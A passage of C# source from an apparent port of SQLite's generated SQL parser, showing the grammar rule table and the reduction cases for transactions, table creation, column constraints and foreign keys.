_yyRuleInfo( 148, 1 ), +new _yyRuleInfo( 148, 1 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 151, 1 ), +new _yyRuleInfo( 151, 0 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 152, 6 ), +new _yyRuleInfo( 154, 1 ), +new _yyRuleInfo( 156, 0 ), +new _yyRuleInfo( 156, 3 ), +new _yyRuleInfo( 155, 1 ), +new _yyRuleInfo( 155, 0 ), +new _yyRuleInfo( 153, 4 ), +new _yyRuleInfo( 153, 2 ), +new _yyRuleInfo( 158, 3 ), +new _yyRuleInfo( 158, 1 ), +new _yyRuleInfo( 161, 3 ), +new _yyRuleInfo( 162, 1 ), +new _yyRuleInfo( 165, 1 ), +new _yyRuleInfo( 165, 1 ), +new _yyRuleInfo( 166, 1 ), +new _yyRuleInfo( 150, 1 ), +new _yyRuleInfo( 150, 1 ), +new _yyRuleInfo( 150, 1 ), +new _yyRuleInfo( 163, 0 ), +new _yyRuleInfo( 163, 1 ), +new _yyRuleInfo( 167, 1 ), +new _yyRuleInfo( 167, 4 ), +new _yyRuleInfo( 167, 6 ), +new _yyRuleInfo( 168, 1 ), +new _yyRuleInfo( 168, 2 ), +new _yyRuleInfo( 169, 1 ), +new _yyRuleInfo( 169, 1 ), +new _yyRuleInfo( 164, 2 ), +new _yyRuleInfo( 164, 0 ), +new _yyRuleInfo( 172, 3 ), +new _yyRuleInfo( 172, 1 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 173, 4 ), +new _yyRuleInfo( 173, 3 ), +new _yyRuleInfo( 173, 3 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 173, 3 ), +new _yyRuleInfo( 173, 5 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 173, 4 ), +new _yyRuleInfo( 173, 4 ), +new _yyRuleInfo( 173, 1 ), +new _yyRuleInfo( 173, 2 ), +new _yyRuleInfo( 178, 0 ), +new _yyRuleInfo( 178, 1 ), +new _yyRuleInfo( 180, 0 ), +new _yyRuleInfo( 180, 2 ), +new _yyRuleInfo( 182, 2 ), +new _yyRuleInfo( 182, 3 ), +new _yyRuleInfo( 182, 3 ), +new _yyRuleInfo( 182, 3 ), +new _yyRuleInfo( 183, 2 ), +new _yyRuleInfo( 183, 2 ), +new _yyRuleInfo( 183, 1 ), +new _yyRuleInfo( 183, 1 ), +new _yyRuleInfo( 181, 3 ), +new _yyRuleInfo( 181, 2 ), +new _yyRuleInfo( 184, 0 ), +new _yyRuleInfo( 184, 2 ), +new _yyRuleInfo( 184, 2 ), +new _yyRuleInfo( 159, 0 ), +new _yyRuleInfo( 159, 2 ), +new _yyRuleInfo( 185, 3 ), +new _yyRuleInfo( 185, 2 ), +new _yyRuleInfo( 185, 1 ), +new _yyRuleInfo( 186, 2 ), +new _yyRuleInfo( 186, 7 ), +new _yyRuleInfo( 186, 5 ), +new _yyRuleInfo( 186, 5 ), +new _yyRuleInfo( 186, 10 ), +new _yyRuleInfo( 188, 0 ), +new _yyRuleInfo( 188, 1 ), +new _yyRuleInfo( 176, 0 ), +new _yyRuleInfo( 176, 3 ), +new _yyRuleInfo( 189, 0 ), +new _yyRuleInfo( 189, 2 ), +new _yyRuleInfo( 190, 1 ), +new _yyRuleInfo( 190, 1 ), +new _yyRuleInfo( 190, 1 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 192, 2 ), +new _yyRuleInfo( 192, 0 ), +new _yyRuleInfo( 147, 8 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 160, 1 ), +new _yyRuleInfo( 160, 3 ), +new _yyRuleInfo( 195, 1 ), +new _yyRuleInfo( 195, 2 ), +new _yyRuleInfo( 195, 1 ), +new _yyRuleInfo( 194, 9 ), +new _yyRuleInfo( 196, 1 ), +new _yyRuleInfo( 196, 1 ), +new _yyRuleInfo( 196, 0 ), +new _yyRuleInfo( 204, 2 ), +new _yyRuleInfo( 204, 0 ), +new _yyRuleInfo( 197, 3 ), +new _yyRuleInfo( 197, 2 ), +new _yyRuleInfo( 197, 4 ), +new _yyRuleInfo( 205, 2 ), +new _yyRuleInfo( 205, 1 ), +new _yyRuleInfo( 205, 0 ), +new _yyRuleInfo( 198, 0 ), +new _yyRuleInfo( 198, 2 ), +new _yyRuleInfo( 207, 2 ), +new _yyRuleInfo( 207, 0 ), +new _yyRuleInfo( 206, 7 ), +new _yyRuleInfo( 206, 7 ), +new _yyRuleInfo( 206, 7 ), +new _yyRuleInfo( 157, 0 ), +new _yyRuleInfo( 157, 2 ), +new _yyRuleInfo( 193, 2 ), +new _yyRuleInfo( 208, 1 ), +new _yyRuleInfo( 208, 2 ), +new _yyRuleInfo( 208, 3 ), +new _yyRuleInfo( 208, 4 ), +new _yyRuleInfo( 210, 2 ), +new _yyRuleInfo( 210, 0 ), +new _yyRuleInfo( 209, 0 ), +new _yyRuleInfo( 209, 3 ), +new _yyRuleInfo( 209, 2 ), +new _yyRuleInfo( 211, 4 ), +new _yyRuleInfo( 211, 0 ), +new _yyRuleInfo( 202, 0 ), +new _yyRuleInfo( 202, 3 ), +new _yyRuleInfo( 214, 4 ), +new _yyRuleInfo( 214, 2 ), +new _yyRuleInfo( 215, 1 ), +new _yyRuleInfo( 177, 1 ), +new _yyRuleInfo( 177, 1 ), +new _yyRuleInfo( 177, 0 ), +new _yyRuleInfo( 200, 0 ), +new _yyRuleInfo( 200, 3 ), +new _yyRuleInfo( 201, 0 ), +new _yyRuleInfo( 201, 2 ), +new _yyRuleInfo( 203, 0 ), +new _yyRuleInfo( 203, 2 ), +new _yyRuleInfo( 203, 4 ), +new _yyRuleInfo( 203, 4 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 199, 0 ), +new _yyRuleInfo( 199, 2 ), +new _yyRuleInfo( 147, 7 ), +new _yyRuleInfo( 217, 5 ), +new _yyRuleInfo( 217, 3 ), +new _yyRuleInfo( 147, 8 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 218, 2 ), +new _yyRuleInfo( 218, 1 ), +new _yyRuleInfo( 220, 3 ), +new _yyRuleInfo( 220, 1 ), +new _yyRuleInfo( 219, 0 ), +new _yyRuleInfo( 219, 3 ), +new _yyRuleInfo( 213, 3 ), +new _yyRuleInfo( 213, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 174, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 174, 1 ), +new _yyRuleInfo( 174, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 1 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 6 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 174, 1 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 222, 1 ), +new _yyRuleInfo( 222, 2 ), +new _yyRuleInfo( 222, 1 ), +new _yyRuleInfo( 222, 2 ), +new _yyRuleInfo( 223, 2 ), +new _yyRuleInfo( 223, 0 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 175, 2 ), +new _yyRuleInfo( 224, 1 ), +new _yyRuleInfo( 224, 2 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 225, 1 ), +new _yyRuleInfo( 225, 2 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 175, 3 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 175, 5 ), +new _yyRuleInfo( 227, 5 ), +new _yyRuleInfo( 227, 4 ), +new _yyRuleInfo( 228, 2 ), +new _yyRuleInfo( 228, 0 ), +new _yyRuleInfo( 226, 1 ), +new _yyRuleInfo( 226, 0 ), +new _yyRuleInfo( 221, 1 ), +new _yyRuleInfo( 221, 0 ), +new _yyRuleInfo( 216, 3 ), +new _yyRuleInfo( 216, 1 ), +new _yyRuleInfo( 147, 11 ), +new _yyRuleInfo( 229, 1 ), +new _yyRuleInfo( 229, 0 ), +new _yyRuleInfo( 179, 0 ), +new _yyRuleInfo( 179, 3 ), +new _yyRuleInfo( 187, 5 ), +new _yyRuleInfo( 187, 3 ), +new _yyRuleInfo( 230, 0 ), +new _yyRuleInfo( 230, 2 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 147, 2 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 231, 1 ), +new _yyRuleInfo( 231, 1 ), +new _yyRuleInfo( 231, 1 ), +new _yyRuleInfo( 231, 1 ), +new _yyRuleInfo( 231, 1 ), +new _yyRuleInfo( 170, 2 ), +new _yyRuleInfo( 171, 2 ), +new _yyRuleInfo( 233, 1 ), +new _yyRuleInfo( 232, 1 ), +new _yyRuleInfo( 232, 0 ), +new _yyRuleInfo( 147, 5 ), +new _yyRuleInfo( 234, 11 ), +new _yyRuleInfo( 236, 1 ), +new _yyRuleInfo( 236, 1 ), +new _yyRuleInfo( 236, 2 ), +new _yyRuleInfo( 236, 0 ), +new _yyRuleInfo( 237, 1 ), +new _yyRuleInfo( 237, 1 ), +new _yyRuleInfo( 237, 3 ), +new _yyRuleInfo( 238, 0 ), +new _yyRuleInfo( 238, 3 ), +new _yyRuleInfo( 239, 0 ), +new _yyRuleInfo( 239, 2 ), +new _yyRuleInfo( 235, 3 ), +new _yyRuleInfo( 235, 2 ), +new _yyRuleInfo( 241, 1 ), +new _yyRuleInfo( 241, 3 ), +new _yyRuleInfo( 242, 0 ), +new _yyRuleInfo( 242, 3 ), +new _yyRuleInfo( 242, 2 ), +new _yyRuleInfo( 240, 7 ), +new _yyRuleInfo( 240, 8 ), +new _yyRuleInfo( 240, 5 ), +new _yyRuleInfo( 240, 5 ), +new _yyRuleInfo( 240, 1 ), +new _yyRuleInfo( 175, 4 ), +new _yyRuleInfo( 175, 6 ), +new _yyRuleInfo( 191, 1 ), +new _yyRuleInfo( 191, 1 ), +new _yyRuleInfo( 191, 1 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 244, 0 ), +new _yyRuleInfo( 244, 2 ), +new _yyRuleInfo( 243, 1 ), +new _yyRuleInfo( 243, 0 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 147, 6 ), +new _yyRuleInfo( 245, 1 ), +new _yyRuleInfo( 246, 0 ), +new _yyRuleInfo( 246, 1 ), +new _yyRuleInfo( 147, 1 ), +new _yyRuleInfo( 147, 4 ), +new _yyRuleInfo( 247, 7 ), +new _yyRuleInfo( 248, 1 ), +new _yyRuleInfo( 248, 3 ), +new _yyRuleInfo( 249, 0 ), +new _yyRuleInfo( 249, 2 ), +new _yyRuleInfo( 250, 1 ), +new _yyRuleInfo( 250, 3 ), +new _yyRuleInfo( 251, 1 ), +new _yyRuleInfo( 252, 0 ), +new _yyRuleInfo( 252, 4 ), +new _yyRuleInfo( 252, 2 ), +}; + + //static void yy_accept(yyParser*); /* Forward Declaration */ + + /* + ** Perform a reduce action and the shift that must immediately + ** follow the reduce. + */ + static void yy_reduce( + yyParser yypParser, /* The parser */ + int yyruleno /* Number of the rule by which to reduce */ + ) + { + int yygoto; /* The next state */ + int yyact; /* The next action */ + YYMINORTYPE yygotominor; /* The LHS of the rule reduced */ + yymsp yymsp; // yyStackEntry[] yymsp = new yyStackEntry[0]; /* The top of the parser's stack */ + int yysize; /* Amount to pop the stack */ + Parse pParse = yypParser.pParse; //sqlite3ParserARG_FETCH; + + yymsp = new yymsp(ref yypParser, yypParser.yyidx); // yymsp[0] = yypParser.yystack[yypParser.yyidx]; +#if !NDEBUG + if (yyTraceFILE != null && yyruleno >= 0 + && yyruleno < yyRuleName.Length) + { //(int)(yyRuleName.Length/sizeof(yyRuleName[0])) ){ + fprintf(yyTraceFILE, "%sReduce [%s].\n", yyTracePrompt, + yyRuleName[yyruleno]); + } +#endif // * NDEBUG */ + + /* Silence complaints from purify about yygotominor being uninitialized +** in some cases when it is copied into the stack after the following +** switch. yygotominor is uninitialized when a rule reduces that does +** not set the value of its left-hand side nonterminal. Leaving the +** value of the nonterminal uninitialized is utterly harmless as long +** as the value is never used. So really the only thing this code +** accomplishes is to quieten purify. +** +** 2007-01-16: The wireshark project (www.wireshark.org) reports that +** without this code, their parser segfaults. I'm not sure what there +** parser is doing to make this happen. This is the second bug report +** from wireshark this week. Clearly they are stressing Lemon in ways +** that it has not been previously stressed... (SQLite ticket #2172) +*/ + yygotominor = new YYMINORTYPE(); //memset(yygotominor, 0, yygotominor).Length; + switch (yyruleno) + { + /* Beginning here are the reduction cases. A typical example + ** follows: + ** case 0: + ** //#line + ** { ... } // User supplied code + ** //#line + ** break; + */ + case 5: /* explain ::= */ + //#line 109 "parse.y" + { sqlite3BeginParse(pParse, 0); } + //#line 2075 "parse.c" + break; + case 6: /* explain ::= EXPLAIN */ + //#line 111 "parse.y" + { sqlite3BeginParse(pParse, 1); } + //#line 2080 "parse.c" + break; + case 7: /* explain ::= EXPLAIN QUERY PLAN */ + //#line 112 "parse.y" + { sqlite3BeginParse(pParse, 2); } + //#line 2085 "parse.c" + break; + case 8: /* cmdx ::= cmd */ + //#line 114 "parse.y" + { sqlite3FinishCoding(pParse); } + //#line 2090 "parse.c" + break; + case 9: /* cmd ::= BEGIN transtype trans_opt */ + //#line 119 "parse.y" + { sqlite3BeginTransaction(pParse, yymsp[-1].minor.yy328); } + //#line 2095 "parse.c" + break; + case 13: /* transtype ::= */ + //#line 124 "parse.y" + { yygotominor.yy328 = TK_DEFERRED; } + //#line 2100 "parse.c" + break; + case 14: /* transtype ::= DEFERRED */ + case 15: /* transtype ::= IMMEDIATE */ //yytestcase(yyruleno==15); + case 16: /* transtype ::= EXCLUSIVE */ //yytestcase(yyruleno==16); + case 114: /* multiselect_op ::= UNION */ //yytestcase(yyruleno==114); + case 116: /* multiselect_op ::= EXCEPT|INTERSECT */ //yytestcase(yyruleno==116); + //#line 125 "parse.y" + { yygotominor.yy328 = yymsp[0].major; } + //#line 2109 "parse.c" + break; + case 17: /* cmd ::= COMMIT trans_opt */ + case 18: /* cmd ::= END trans_opt */ //yytestcase(yyruleno==18); + //#line 128 "parse.y" + { sqlite3CommitTransaction(pParse); } + //#line 2115 "parse.c" + break; + case 19: /* cmd ::= ROLLBACK trans_opt */ + //#line 130 "parse.y" + { sqlite3RollbackTransaction(pParse); } + //#line 2120 "parse.c" + break; + case 22: /* cmd ::= SAVEPOINT nm */ + //#line 134 "parse.y" + { + sqlite3Savepoint(pParse, SAVEPOINT_BEGIN, yymsp[0].minor.yy0); + } + //#line 2127 "parse.c" + break; + case 23: /* cmd ::= RELEASE savepoint_opt nm */ + //#line 137 "parse.y" + { + sqlite3Savepoint(pParse, SAVEPOINT_RELEASE, yymsp[0].minor.yy0); + } + //#line 2134 "parse.c" + break; + case 24: /* cmd ::= ROLLBACK trans_opt TO savepoint_opt nm */ + //#line 140 "parse.y" + { + sqlite3Savepoint(pParse, SAVEPOINT_ROLLBACK, yymsp[0].minor.yy0); + } + //#line 2141 "parse.c" + break; + case 26: /* create_table ::= createkw temp TABLE ifnotexists nm dbnm */ + //#line 147 "parse.y" + { + sqlite3StartTable(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, yymsp[-4].minor.yy328, 0, 0, yymsp[-2].minor.yy328); + } + //#line 2148 "parse.c" + break; + case 27: /* createkw ::= CREATE */ + //#line 150 "parse.y" + { + pParse.db.lookaside.bEnabled = 0; + yygotominor.yy0 = yymsp[0].minor.yy0; + } + //#line 2156 "parse.c" + break; + case 28: /* ifnotexists ::= */ + case 31: /* temp ::= */ //yytestcase(yyruleno==31); + case 70: /* autoinc ::= */ //yytestcase(yyruleno==70); + case 84: /* init_deferred_pred_opt ::= */ //yytestcase(yyruleno==84); + case 86: /* init_deferred_pred_opt ::= INITIALLY IMMEDIATE */ //yytestcase(yyruleno==86); + case 97: /* defer_subclause_opt ::= */ //yytestcase(yyruleno==97); + case 108: /* ifexists ::= */ //yytestcase(yyruleno==108); + case 119: /* distinct ::= ALL */ //yytestcase(yyruleno==119); + case 120: /* distinct ::= */ //yytestcase(yyruleno==120); + case 222: /* between_op ::= BETWEEN */ //yytestcase(yyruleno==222); + case 225: /* in_op ::= IN */ //yytestcase(yyruleno==225); + //#line 155 "parse.y" + { yygotominor.yy328 = 0; } + //#line 2171 "parse.c" + break; + case 29: /* ifnotexists ::= IF NOT EXISTS */ + case 30: /* temp ::= TEMP */ //yytestcase(yyruleno==30); + case 71: /* autoinc ::= AUTOINCR */ //yytestcase(yyruleno==71); + case 85: /* init_deferred_pred_opt ::= INITIALLY DEFERRED */ //yytestcase(yyruleno==85); + case 107: /* ifexists ::= IF EXISTS */ //yytestcase(yyruleno==107); + case 118: /* distinct ::= DISTINCT */ //yytestcase(yyruleno==118); + case 223: /* between_op ::= NOT BETWEEN */ //yytestcase(yyruleno==223); + case 226: /* in_op ::= NOT IN */ //yytestcase(yyruleno==226); + //#line 156 "parse.y" + { yygotominor.yy328 = 1; } + //#line 2183 "parse.c" + break; + case 32: /* create_table_args ::= LP columnlist conslist_opt RP */ + //#line 162 "parse.y" + { + sqlite3EndTable(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, 0); + } + //#line 2190 "parse.c" + break; + case 33: /* create_table_args ::= AS select */ + //#line 165 "parse.y" + { + sqlite3EndTable(pParse, 0, 0, yymsp[0].minor.yy3); + sqlite3SelectDelete(pParse.db, ref yymsp[0].minor.yy3); + } + //#line 2198 "parse.c" + break; + case 36: /* column ::= columnid type carglist */ + //#line 177 "parse.y" + { + //yygotominor.yy0.z = yymsp[-2].minor.yy0.z; + //yygotominor.yy0.n = (int)(pParse.sLastToken.z-yymsp[-2].minor.yy0.z) + pParse.sLastToken.n; + yygotominor.yy0.n = (int)(yymsp[-2].minor.yy0.z.Length - pParse.sLastToken.z.Length) + pParse.sLastToken.n; + yygotominor.yy0.z = yymsp[-2].minor.yy0.z.Substring(0, yygotominor.yy0.n); + } + //#line 2206 "parse.c" + break; + case 37: /* columnid ::= nm */ + //#line 181 "parse.y" + { + sqlite3AddColumn(pParse, yymsp[0].minor.yy0); + yygotominor.yy0 = yymsp[0].minor.yy0; + } + //#line 2214 "parse.c" + break; + case 38: /* id ::= ID */ + case 39: /* id ::= INDEXED */ //yytestcase(yyruleno==39); + case 40: /* ids ::= ID|STRING */ //yytestcase(yyruleno==40); + case 41: /* nm ::= id */ //yytestcase(yyruleno==41); + case 42: /* nm ::= STRING */ //yytestcase(yyruleno==42); + case 43: /* nm ::= JOIN_KW */ //yytestcase(yyruleno==43); + case 46: /* typetoken ::= typename */ //yytestcase(yyruleno==46); + case 49: /* typename ::= ids */ //yytestcase(yyruleno==49); + case 126: /* as ::= AS nm */ //yytestcase(yyruleno==126); + case 127: /* as ::= ids */ //yytestcase(yyruleno==127); + case 137: /* dbnm ::= DOT nm */ //yytestcase(yyruleno==137); + case 146: /* indexed_opt ::= INDEXED BY nm */ //yytestcase(yyruleno==146); + case 251: /* collate ::= COLLATE ids */ //yytestcase(yyruleno==251); + case 260: /* nmnum ::= plus_num */ //yytestcase(yyruleno==260); + case 261: /* nmnum ::= nm */ //yytestcase(yyruleno==261); + case 262: /* nmnum ::= ON */ //yytestcase(yyruleno==262); + case 263: /* nmnum ::= DELETE */ //yytestcase(yyruleno==263); + case 264: /* nmnum ::= DEFAULT */ //yytestcase(yyruleno==264); + case 265: /* plus_num ::= plus_opt number */ //yytestcase(yyruleno==265); + case 266: /* minus_num ::= MINUS number */ //yytestcase(yyruleno==266); + case 267: /* number ::= INTEGER|FLOAT */ //yytestcase(yyruleno==267); + case 285: /* trnm ::= nm */ //yytestcase( yyruleno == 285 ); + //#line 191 "parse.y" + { yygotominor.yy0 = yymsp[0].minor.yy0; } + //#line 2240 "parse.c" + break; + case 45: /* type ::= typetoken */ + //#line 253 "parse.y" + { sqlite3AddColumnType(pParse, yymsp[0].minor.yy0); } + //#line 2245 "parse.c" + break; + case 47: /* typetoken ::= typename LP signed RP */ + //#line 255 "parse.y" + { + //yygotominor.yy0.z = yymsp[-3].minor.yy0.z; + //yygotominor.yy0.n = (int)( yymsp[0].minor.yy0.z[yymsp[0].minor.yy0.n] - yymsp[-3].minor.yy0.z ); + yygotominor.yy0.n = yymsp[-3].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length + yymsp[0].minor.yy0.n; + yygotominor.yy0.z = yymsp[-3].minor.yy0.z.Substring(0, yygotominor.yy0.n); + } + //#line 2253 "parse.c" + break; + case 48: /* typetoken ::= typename LP signed COMMA signed RP */ + //#line 259 "parse.y" + { + //yygotominor.yy0.z = yymsp[-5].minor.yy0.z; + //yygotominor.yy0.n = (int)(yymsp[0].minor.yy0.z[yymsp[0].minor.yy0.n] - yymsp[-5].minor.yy0.z); + yygotominor.yy0.n = yymsp[-5].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length + 1; + yygotominor.yy0.z = yymsp[-5].minor.yy0.z.Substring(0, yygotominor.yy0.n); + } + //#line 2261 "parse.c" + break; + case 50: /* typename ::= typename ids */ + //#line 265 "parse.y" + { + //yygotominor.yy0.z=yymsp[-1].minor.yy0.z; yygotominor.yy0.n=yymsp[0].minor.yy0.n+(int)(yymsp[0].minor.yy0.z-yymsp[-1].minor.yy0.z); + yygotominor.yy0.z = yymsp[-1].minor.yy0.z; + yygotominor.yy0.n = yymsp[0].minor.yy0.n + (int)(yymsp[-1].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length); + } + //#line 2266 "parse.c" + break; + case 57: /* ccons ::= DEFAULT term */ + case 59: /* ccons ::= DEFAULT PLUS term */ //yytestcase(yyruleno==59); + //#line 276 "parse.y" + { sqlite3AddDefaultValue(pParse, yymsp[0].minor.yy346); } + //#line 2272 "parse.c" + break; + case 58: /* ccons ::= DEFAULT LP expr RP */ + //#line 277 "parse.y" + { sqlite3AddDefaultValue(pParse, yymsp[-1].minor.yy346); } + //#line 2277 "parse.c" + break; + case 60: /* ccons ::= DEFAULT MINUS term */ + //#line 279 "parse.y" + { + ExprSpan v = new ExprSpan(); + v.pExpr = sqlite3PExpr(pParse, TK_UMINUS, yymsp[0].minor.yy346.pExpr, 0, 0); + v.zStart = yymsp[-1].minor.yy0.z; + v.zEnd = yymsp[0].minor.yy346.zEnd; + sqlite3AddDefaultValue(pParse, v); + } + //#line 2288 "parse.c" + break; + case 61: /* ccons ::= DEFAULT id */ + //#line 286 "parse.y" + { + ExprSpan v = new ExprSpan(); + spanExpr(v, pParse, TK_STRING, yymsp[0].minor.yy0); + sqlite3AddDefaultValue(pParse, v); + } + //#line 2297 "parse.c" + break; + case 63: /* ccons ::= NOT NULL onconf */ + //#line 296 "parse.y" + { sqlite3AddNotNull(pParse, yymsp[0].minor.yy328); } + //#line 2302 "parse.c" + break; + case 64: /* ccons ::= PRIMARY KEY sortorder onconf autoinc */ + //#line 298 "parse.y" + { sqlite3AddPrimaryKey(pParse, 0, yymsp[-1].minor.yy328, yymsp[0].minor.yy328, yymsp[-2].minor.yy328); } + //#line 2307 "parse.c" + break; + case 65: /* ccons ::= UNIQUE onconf */ + //#line 299 "parse.y" + { sqlite3CreateIndex(pParse, 0, 0, 0, 0, yymsp[0].minor.yy328, 0, 0, 0, 0); } + //#line 2312 "parse.c" + break; + case 66: /* ccons ::= CHECK LP expr RP */ + //#line 300 "parse.y" + { sqlite3AddCheckConstraint(pParse, yymsp[-1].minor.yy346.pExpr); } + //#line 2317 "parse.c" + break; + case 67: /* ccons ::= REFERENCES nm idxlist_opt refargs */ + //#line 302 "parse.y" + { sqlite3CreateForeignKey(pParse, 0, yymsp[-2].minor.yy0, yymsp[-1].minor.yy14, yymsp[0].minor.yy328); } + //#line 2322 "parse.c" + break; + case 68: /* ccons ::= defer_subclause */ + //#line 303 "parse.y" + { sqlite3DeferForeignKey(pParse, yymsp[0].minor.yy328); } + //#line 2327 "parse.c" + break; + case 69: /* ccons ::= COLLATE ids */ + //#line 304 "parse.y" + { sqlite3AddCollateType(pParse, yymsp[0].minor.yy0); } + //#line 2332 "parse.c" + break; + case 72: /* refargs ::= */ + //#line 317 "parse.y" + { yygotominor.yy328 = OE_Restrict * 0x010101; } + //#line 2337 "parse.c" + break; + case 73: /* refargs ::= refargs refarg */ + //#line 318 "parse.y" + { yygotominor.yy328 = (yymsp[-1].minor.yy328 & ~yymsp[0].minor.yy429.mask) | yymsp[0].minor.yy429.value; } + //#line 2342 "parse.c" + break; + case 74: /* refarg ::= MATCH nm */ + //#line 320 "parse.y" + { yygotominor.yy429.value = 0; yygotominor.yy429.mask = 0x000000; } + //#line 2347 "parse.c" + break; + case 75: /* refarg ::= ON DELETE refact */ + //#line 321 "parse.y" + { yygotominor.yy429.value = yymsp[0].minor.yy328; yygotominor.yy429.mask = 0x0000ff; } + //#line 2352 "parse.c" + break; + case 76: /* refarg ::= ON UPDATE refact */ + //#line 322 "parse.y" + { yygotominor.yy429.value = yymsp[0].minor.yy328 << 8; yygotominor.yy429.mask = 0x00ff00; } + //#line 2357 "parse.c" + break; + case 77: /* refarg ::= ON INSERT refact */ + //#line 323 "parse.y" + { yygotominor.yy429.value = yymsp[0].minor.yy328 << 16; yygotominor.yy429.mask = 0xff0000; } + //#line 2362 "parse.c" + break; + case 78: /* refact ::= SET NULL */ + //#line 325 "parse.y" + { yygotominor.yy328 = OE_SetNull; } + //#line 2367 "parse.c" + break; + case 79: /* refact ::= SET DEFAULT */ + //#line 326 "parse.y" + { yygotominor.yy328 = OE_SetDflt; } + //#line 2372 "parse.c" + break; + case 80: /* refact ::= CASCADE */ + //#line 327 "parse.y" + { yygotominor.yy328 = OE_Cascade; } + //#line 2377 "parse.c" + break; + case 81: /* refact ::= RESTRICT */ + //#line 328 "parse.y" + { yygotominor.yy328 = OE_Restrict; } + //#line 2382 "parse.c" + break; + case 82: /* defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt */ + case 83: /* defer_subclause ::= DEFERRABLE init_deferred_pred_opt */ //yytestcase(yyruleno==83); + case 98: /* defer_subclause_opt ::= defer_subclause */ //yytestcase(yyruleno==98); + case 100: /* onconf ::= ON CONFLICT resolvetype */ //yytestcase(yyruleno==100); + case 103: /* resolvetype ::= raisetype */ //yytestcase(yyruleno==103); + //#line 330 "parse.y" + { yygotominor.yy328 = yymsp[0].minor.yy328; } + //#line 2391 "parse.c" + break; + case 87: /* conslist_opt ::= */ + //#line 340 "parse.y" + { yygotominor.yy0.n = 0; yygotominor.yy0.z = null; } + //#line 2396 "parse.c" + break; + case 88: /* conslist_opt ::= COMMA conslist */ + //#line 341 "parse.y" + { yygotominor.yy0 = yymsp[-1].minor.yy0; } + //#line 2401 "parse.c" + break; + case 93: /* tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf */ + //#line 347 "parse.y" + { sqlite3AddPrimaryKey(pParse, yymsp[-3].minor.yy14, yymsp[0].minor.yy328, yymsp[-2].minor.yy328, 0); } + //#line 2406 "parse.c" + break; + case 94: /* tcons ::= UNIQUE LP idxlist RP onconf */ + //#line 349 "parse.y" + { sqlite3CreateIndex(pParse, 0, 0, 0, yymsp[-2].minor.yy14, yymsp[0].minor.yy328, 0, 0, 0, 0); } + //#line 2411 "parse.c" + break; + case 95: /* tcons ::= CHECK LP expr RP onconf */ + //#line 351 "parse.y" + { sqlite3AddCheckConstraint(pParse, yymsp[-2].minor.yy346.pExpr); } + //#line 2416 "parse.c" + break; + case 96: /* tcons ::= FOREIGN KEY LP idxlist RP REFERENCES nm idxlist_opt refargs defer_subclause_opt */ + //#line 353 "parse.y" + { + sqlite3CreateForeignKey(pParse, yymsp[-6].minor.yy14, yymsp[-3].minor.yy0, yymsp[-2].minor.yy14, yymsp[-1].minor.yy328); + sqlite3DeferForeignKey(pParse, yymsp[0].minor.yy328); + } + //#line 2424 "parse.c" + break; + case 99: /* onconf ::= */ + //#line 367 "parse.y" + { yygotominor.yy328 = OE_Default; } + //#line 2429 "parse.c" + break; + case 101: /* orconf ::= */ + //#line 369 "parse.y" + { yygotominor.yy186 = OE_Default; } + //#line 2434 "parse.c" + break; + case 102: /* orconf ::= OR resolvetype */ + //#line 370 "parse.y" + { 